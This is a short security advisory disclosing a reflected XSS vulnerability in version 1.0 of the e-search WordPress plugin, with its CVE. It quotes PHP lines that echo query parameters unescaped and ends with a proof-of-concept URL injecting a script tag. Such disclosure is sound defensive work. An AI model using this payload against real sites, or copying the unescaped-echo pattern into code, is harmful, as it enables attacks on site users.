Advisory #: 393
Title: Reflected XSS in wordpress plugin e-search v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/e-search
Downloads: 524
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: e-search
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./e-search/tmpl/date_select.php: 18: <input style="width: 124px !important;" class="datepicker inputbox field" name="date-from" type="text" value="<?php if($_GET["date-from"] != '') echo $_GET["date-from"]; else echo "Date"; ?>" /> 20: <input style="width: 124px !important;" class="datepicker inputbox field" name="date-to" type="text" value="<?php echo $_GET["date-to"]; ?>" /> The variable date-from appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000131
File:./e-search/tmpl/date_select.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/e-search/tmpl/date_select.php?date-from="><script>alert(1);</script><"